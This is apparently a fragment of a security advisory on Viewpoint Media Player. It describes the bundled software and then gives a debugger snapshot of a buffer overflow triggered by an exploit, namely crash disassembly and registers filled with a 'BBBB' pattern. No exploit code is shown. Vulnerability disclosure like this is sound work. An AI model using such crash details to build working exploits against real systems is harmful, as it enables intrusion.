Viewpoint Media Player is included with AOL Instant Greetings, AIM Themes and some other web applications. Viewpoint Media Player is distributed with AOL, AIM, versions of Netscape, certain Adobe products, and some retail computers sold today. Despite this, these applications will most often work perfectly when Viewpoint is removed. A few companies, ranging from online retailers to auto manufacturers, use Viewpoint Media Player as the graphics platform for interactive 3D tours of their products. Viewpoint Media Player powers product tours of the Toyota 4Runner and Sony laptop, desktop, and server computing products. Despite the arguable usefulness of Viewpoint, the vast majority of sites will stay away from it, and in practice not having Viewpoint installed is not going to be an issue. <b>This is a report at the moment of the overflow using first exploit:</b> 1) Disassembly: 77C172E3 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] <- CRASH 2) Registers: EAX 026A26E4 ECX 000005B9 EDX 00000000 EBX 0269F00C ESP 0188B668 EBP 0188B670 ESI 026A1000 EDI 0269F494 ASCII "BBBBBBBBBB..."
